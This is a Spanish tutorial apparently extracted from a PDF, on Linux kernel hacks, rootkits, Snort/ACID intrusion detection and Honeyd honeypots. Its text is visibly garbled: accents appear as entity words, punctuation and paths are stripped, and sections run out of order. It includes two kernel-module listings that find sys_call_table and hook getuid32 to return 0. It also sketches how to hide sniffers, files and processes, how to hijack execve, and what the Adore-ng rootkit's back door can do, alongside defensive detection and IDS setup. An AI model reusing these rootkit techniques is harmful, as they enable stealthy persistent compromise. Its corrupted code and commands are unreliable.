Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ

Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway

httpsnort-inlinesourceforgenet (configure - -enable-inline)

Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado

Kernel hacks y seguridad JMP

Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red

httpwwwsnortsamnet

5- Usando ACID + SNORT

Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web

Kernel hacks y seguridad JMP

La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten

httpacidlabsourceforgenet

La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo

Luego necesitaremos a ser posible

Apache soporte GD OpenSSL MySQL

PHP soporte GD OpenSSL MySQL

MySQL

ACID soporte adodb jpgraph phplot GD

Y claro esta Snort con soporte para MySQL

Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios

Ejemplo

$ mysql -u root -p

mysql gt CREATE DATABASE snort

mysql gt GRANT ALL ON snort to rootlocalhost identified by password

$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort

Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias

Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid

Alert DB connection parameters

Kernel hacks y seguridad JMP

- $alert_dbname MySQL database name of Snort alert DB

- $alert_host host on which the DB is stored

- $alert_port port on which to access the DB

- $alert_user login to the database with this user

- $alert_password password of the DB user

This information can be gleaned from the Snort database

output plugin configuration

$alert_dbname = snort_log

$alert_host = localhost

$alert_port =

$alert_user = root

$alert_password = mypassword

Archive DB connection parameters

$archive_dbname = snort_archive

$archive_host = localhost

$archive_port =

$archive_user = root

$archive_password = mypassword

Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort

Kernel hacks y seguridad JMP

Creacioacuten de reglas propias para Snort

Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones

CABECERA

Accioacuten de la regla alert

Protocolo tcp udp

Direccion IP origen $EXTERNAL_NET

Puerto IP origen any

Direccion IP destino $HOME_NET

Puerto IP destino any

Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)

OPCIONES

Mensaje ldquohola directivardquo

Opciones flags Aack 0 reference

Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)

El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort

Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg

Conclusiones

Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro

Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales

Kernel hacks y seguridad JMP

Honeypots

Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos

Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema

Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P

net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1

Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2

De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto

httpwwwhoneydorg

httpwwwcitiumicheduuprovoshoneyd

Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd

Config file for etcinitdhoneyd

Set Network addressHONEYD_NET=10001

HONEYD_IF=lo

HONEYD_LOG=varloghoneydlog

Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs

Kernel hacks y seguridad JMP

Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints

-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc

Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc

Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en

httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)

2- Creando sistemas virtuales

Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)

Su contenido se muestra a continuacioacuten

route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024

Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset

create default set default default tcp action block set default default udp action block set default default icmp action block

create router

Kernel hacks y seguridad JMP

set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl

bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42

De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc

3- Otros usos

Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace

Kernel hacks y seguridad JMP

dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 22: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

Arriba donde dice sys_restart_syscall seriacutea la syscall 0 y sys_exit la 1 bien ese es el lugar para ir a mirar el siacutembolo correspondiente

Ahora tenemos que volcar el contenido de entryo (fichero objeto) del mismo directorio actual de entryS buscando algo MUY concreto queremos esa direccioacuten maacutegica y especial que tan ansiadamente buscamos

Procedo a usar GDB para desensamblar el fichero como muestro en la figura

Muy bien ahora ya hemos encontrado la direccioacuten que queriamos y apartir de esa direccioacuten ya es posible encontrar la sys_call_table

Lo podemos comprobar tambieacuten haciendo un volcado del fichero objeto con objdump

objdump -d entryo|grep ff 14 85

Ahora muestro un coacutedigo bastante probado que de una manera bastante ya estandarizada nos consigue la Sys_call_table[] para poder usuarla como cuando antes la exportabamos

El coacutedigo puede parecer un poco complicado pero hace lo que se ha explicado justo arriba y finalmente nos devuelve la direccioacuten donde se encuentra con un puntero

Kernel hacks y seguridad JMP

Obtenemos la sys_call_table[] en kernels de la serie 26 test

include ltlinuxinithgt include ltlinuxmodulehgt include ltlinuxkernelhgt include ltlinuxmmhgt para las pruebas include ltasmunistdhgt IDT struct

unsigned short off1 unsigned short sel unsigned char noneflags unsigned short off2

__attribute__ ((packed)) idt

IDTR struct

unsigned short limit unsigned int base

__attribute__ ((packed)) idtr el hook uid_t ( restaura)(void) la Sys_call_table ya no se exporta int sys_call_table siempre uid 0 ) uid_t cero_uid(void)

return 0 el hack static void syscalltable(void)

unsigned int offsi char sccall[128] ok necesitamos IDT toca usar asm() asm(sidt 0 =m (idtr))

printk(KERN_ALERT[IDTR] Base en 0xxn idtrbase) idt[80h]

memcpy(ampidt(void )(idtrbase+80x80) sizeof(idt)) offs = (idtoff2 ltlt 16) | idtoff1 printk(KERN_ALERT [IDT(80h)] Descriptor en 0xxn

verificando calln offs) memcpy(sccall (void )offs 128) vamos a ver si encontramos la cadenita FF1485 por ah) i=0while((ilt128) ampamp ((sccall[i] == xff) ampamp (sccall[i+1]== x14) ampamp (sccall[i+2]== x85)))

i++ sys_call_table =(void) ((int ) ampsccall[i+3])

printk(KERN_ALERT [OK] Sys_call_table -gt 0xpn sys_call_table) aqula tenemos ) NO verifico que no se haya encontrado P

Kernel hacks y seguridad JMP

empieza static int __init buscarsct(void)

printk(KERN_ALERT [CARGADO] Buscando Sys_call_tablen)

syscalltable() fundamental vamos a ver si es verdad ) restaura=sys_call_table[__NR_getuid32]

sys_call_table[__NR_getuid32]=cero_uidreturn 0

lo ponemos todo en orden static void __exit descarga(void)

sys_call_table[__NR_getuid32]=restaura printk(LKM descargado)

module_init(buscarsct) module_exit(descarga) ya estamos ) MODULE_LICENSE(GPL)MODULE_AUTHOR(Jose Miguel Porcel G)MODULE_DESCRIPTION(Obtener la Sys_call_table[])

Es este punto lo maacutes importante de ese coacutedigo ndash ya explicado - es maacutes bien saber que se puede utilizar esa funcioacuten syscalltable() en el resto de programas para obtener la Sys_call_table y poder usarla sin maacutes como se ha visto en el resto de LKMs anteriores

81- Otra alternativa iquestmaacutes sencilla

Si bien acabo de decir que el meacutetodo anterior estaacute muy probado yo he utilizado en kernels de la serie 26 (269 concretamente y otros) un mecanismo auacuten maacutes personalizado tanto que NO he podido probarlo al 100 y aunque el gancho (hook) siempre se ha realizado con eacutexito por alguacuten motivo en alguna maacutequina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle aunque esto en los peores casos

No obstante el coacutedigo algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 26 sin problema alguno

La idea del LKM va un poco maacutes allaacute de lo que se pretende en este trabajo puesto que habriacutea que explicar algunas otras cosas que se salen algo de la temaacutetica el caso es que si hechamos un vistazo a ltasmprocessorhgt donde se encuentra una estructura llamada cpuinfo_x86 con un montoacuten de informacioacuten muy interesante como el resto del fichero la verdad donde hay varias menciones a loops_per_jiffy y boot_cpu_data que son las uacutenicas cosas de eacuteste coacutedigo no habreacute tratado hasta ahora

Baacutesicamente lo que hacemos es encontrar SYS_exit y a partir de ahiacute la Sys_call_table el coacutedigo aunque no esta mal no es perfecto ni mucho menos

usrsrclinuxincludeasm $ vim processorh

Kernel hacks y seguridad JMP

1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la

Sys_call_table[])

Kernel hacks y seguridad JMP

Imagen conceptual del proceso

Kernel hacks y seguridad JMP

9- Hooks y hacks de intereacutes (algunas ideas)

Algunas cosas que podemos hacer en el Kernel

Ocultar un sniffer

Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos

Ocultar ficheros y procesos

iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )

Manipular execve()

Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno

usrsrclinuxincludeasm $ vim unistdh

En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute

Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original

Kernel hacks y seguridad JMP

inicio

int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)

0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))

__syscall_return(long__res)

final

Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM

10- Rootkits visioacuten general

Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host

Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red

De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas

Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute

Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros

Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad

Kernel hacks y seguridad JMP

Ejemplo de un rootkit moderno ldquoAdore-ngrdquo

Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso

Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente

Runs on kernel 24x UP and SMP systems

First test-versions successfully run on 260

File and directory hiding

Process hiding

Socket-hiding (no matter whether LISTENing CONNECTED etc)

Full-capability back door

Does not utilize sys_call_table but VFS layer

KISS principle to have as less things in there as possible but also being as much powerful as possible

Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y

Kernel hacks y seguridad JMP

carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore

La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes

Adore ~034 SucKIT Adore-ng gt=131

Interceptando el flujo de ejecucioacuten

Syscalltable Syscall handler VFS

Transferencia coacutedigo dentro del Kernel

LKM Acceso directo (raw shycrudo) a memoria

LKM

Incluye puerta trasera - Siacute -

Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs

Tabla Comparativa de algunos rootkits

Medidas de proteccioacuten y deteccioacuten de rootkits

Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas

Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten

Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap

linux head Systemmap

00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt

Kernel hacks y seguridad JMP

Otros meacutetodos tiacutepicos

Checksums de ficheros importantes (tripwire aide etc)

Backup de las estructuras centrales del kernel (kstat)

LKMs anti-rootkit

Herramientas forenses (TCT)

Analisis de logs etc

Utilidades para la deteccioacuten (rkhunter chkrootkit)

Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas

httpwwwchkrootkitorg

httpwwwrootkitorg

Conclusiones

Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante

Kernel hacks y seguridad JMP

Snort el cerdito valiente

SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red

Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias

Wreski y Christopher Pallack en Linuxsecuritycom

ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated

Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular

root emerge -pv snort

These are the packages that I would merge in order

Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB

Total size of downloads 0 kB

No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL

httpwwwsnortorgdl

Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio

2- Configuracioacuten baacutesica de Snort

Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de

Kernel hacks y seguridad JMP

Snort Dicho fichero se puede encontrar en

etcsnortsnortconf

pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro

Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso

El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria

Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero

1 Establecer las variables para nuestra red

2 Configurar el preprocesador de Snort

3 Configurar los plugins de salida

4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort

5 Personalizar nuestro set de reglas para Snort

La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea

Paso 1

Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario

Kernel hacks y seguridad JMP

var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS

Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes

var HOME_NET 1921681124

Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo

var EXTERNAL_NET any

Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay

var DNS_SERVERS $HOME_NET

var SMTP_SERVERS $HOME_NET

[]

Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten

var HTTP_PORTS 80 var BO-BACKDOOR 31337

var NO_SSH 22 include mis_directivasrules

Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar

config detection search-method lowmem

Paso 2

Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas

Por ejemplo preprocessor frag2

Kernel hacks y seguridad JMP

preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies

